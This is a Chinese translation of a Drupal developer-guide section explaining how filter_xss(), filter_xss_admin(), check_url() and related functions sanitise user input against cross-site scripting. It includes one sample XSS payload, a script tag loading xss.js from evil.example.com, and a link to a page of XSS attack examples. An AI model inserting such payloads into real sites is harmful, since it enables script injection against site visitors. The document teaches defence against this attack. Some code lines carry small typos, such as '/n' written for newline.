使用filter_xss()
译者:老葛 Eskalate科技公司
跨站脚本(XSS)是攻击网站的一种常用方式,攻击者可以向一个网页插入他/她自己的代码,然后使用这些代码进行各种破坏活动。
■ Note For examples of XSS attacks, see http://ha.ckers.org/xss.html.
■ 注意:XSS攻击的例子,参看http://ha.ckers.org/xss.html。
假定你允许用户向你的网站输入HTML,期望他们这么输入
<em>Hi!</em> My name is Sally, and I...
但是他们输入了
<script src=http://evil.example.com/xss.js"></script>
哎哟!我们又学了一课:永远不要信任用户输入。下面是函数filter_xss()的签名:
filter_xss($string, $allowed_tags = array('a', 'em', 'strong', 'cite', 'code',
'ul', 'ol', 'li', 'dl', 'dt', 'dd'))
函数filter_xss()对传递给它的文本字符串进行以下操作:
1. 它删掉奇怪的字符比如NULL和Netscape4 JavaScript脚本。
2. 它确保HTML实体比如& 形式正确。
3.它确保HTML标签和标签属性的形式正确。在本阶段,没有出现在允许列表中——也就是,filter_xss()中的第2个参数——的标签,将被删除。属性style也被删除,这是由于通过覆盖CSS它能够影响页面的外观,或者通过将页面的背景颜色设为一个垃圾链接的颜色来隐藏内容。如果你熟悉正则表达式,并且能够记住HTML实体的字符编码的话,你可以使用一个调试器来一步一步的学习一下filter_xss()(位于modules/filter/filter.module)以及它的相关函数。
4. 它确保所有的HTML标签都不包含未允许的协议。允许的协议有http,https, ftp, news, nntp, telnet, mailto, irc, ssh, sftp, 和 webcal。你可以通过设置filter_allowed_protocols变量来修改这一列表。通过将下面的代码添加到你的settings.php文件中(参看settings.php文件中的关于变量覆写的注释),可以讲允许的协议限制为http 和 https:
$conf = array(
'filter_allowed_protocols' => array('http', 'https')
);
下面是来自于aggregator.module的使用filter_xss()的例子,该模块用来处理存在潜在安全隐患的RSS 或者 Atom种子。在这里模块准备展示一个节点:
function theme_aggregator_feed($feed) {
$output = '<div class="feed-source">';
$output .= theme('feed_icon', $feed->url) ."/n";
$output .= $feed->image;
$output .= '<div class="feed-description">'.
aggregator_filter_xss($feed->description) ."</div>/n";
$output .= '<div class="feed-url"><em>'. t('URL:') .'</em> '
. l($feed->link, $feed->link, array(), NULL, NULL, TRUE) ."</div>/n";
...
}
细心的读者会注意到在我们的例子theme_aggregator_feed()中的代码中我们调用了l(),我们只向l()传递了一个$feed->link参数而没有做任何检查。这是因为l()函数为了方便在它内部调用check_plain()。其它自动调用check_plain()的地方还有,当菜单钩子搜集菜单项的标题时,还有在theme('placeholder')中。除了这些情况,为了确保安全,你必须自己调用check_plain()。
注意我们调用了aggregator_filter_xss(),它对filter_xss()进行了封装并提供了一组可接受的HTML标签。我们将这个函数稍微做了简化,如下所示:
/**
* Safely render HTML content, as allowed.
*/
function aggregator_filter_xss($value) {
$tags = variable_get("aggregator_allowed_html_tags",
'<a> <b> <br> <dd> <dl> <dt> <em> <i> <li> <ol> <p> <strong> <u> <ul>');
// Turn tag list into an array so we can pass it as a parameter.
$allowed_tags = preg_split('//s+|<|>/', $tags, -1, PREG_SPLIT_NO_EMPTY));
return filter_xss($value, $allowed_tags);
}
■ 注意作为安全性的一个练习,你可以拿出你自己的一些定制模块,来追踪进入系统了用户输入的存储,一定要保证在进行逻辑处理之前先对用户输入进行清理,以保证安全性。
使用filter_xss_admin()
有时你想让你的模块为后台管理页面生成HTML。由于我们对后台管理页面进行了访问控制,所以我们可以假定这些可以访问后台管理页面的用户比普通用户更可信。你可以为后台管理页面建立一个特定的过滤器并使用过滤器系统,但是这有点麻烦。因此,Drupal提供了函数filter_xss_admin()。它使用一组更加自由的允许的标签,简单的对filter_xss()做了封装,除了<script> 和 <style>标签以外,它包含了所有的其它标签。使用它的一个例子是在主题中展示站点的宗旨(mission):
if (drupal_is_front_page()) {
$mission = filter_xss_admin(theme_get_setting('mission'));
}
只有在管理设置页面才可以设置站点的宗旨,而只有超级用户和具有“administer site configuration”(管理站点配置)权限的人才可以访问这一页面,所以在这里使用filter_xss_admin()就比较合适。
安全的处理URLs
模块常常处理用户提交的URLs并展示它们。我们需要一些机制来确保用户提供的值确实是一个合法的URL。Drupal提供了函数check_url(),它实际上是仅仅对filter_xss_bad_protocol()做了封装。它通过检查来确保URL中的协议是该Drupal站点所允许的协议(参看“使用filter_xss()”部分的第4点),并使用check_plain()来处理URL。
如果你想决定一个URL是否合法,你可以使用valid_url()。它将检查http, https, 和 ftp URL的语法,并检查非法字符;如果URL通过了测试,那么它返回TRUE。这是一个快速的方式用来确保提交的URLs不包含javascript协议。
警告 仅仅通过语法检查的URL并不一定安全!
如果你使用URL——例如,在一个查询字符串中——来传递一些信息的话,你可以使用drupal_urlencode()来传递转义了的字符。它是一个封装了PHP函数的例子:你可以直接调用PHP的urlencode(),但这样你将失去由Drupal为你负责一个函数的好处。类似的字符串封装函数参看unicode.inc;例如,使用drupal_strlen()来代替PHP函数strlen()。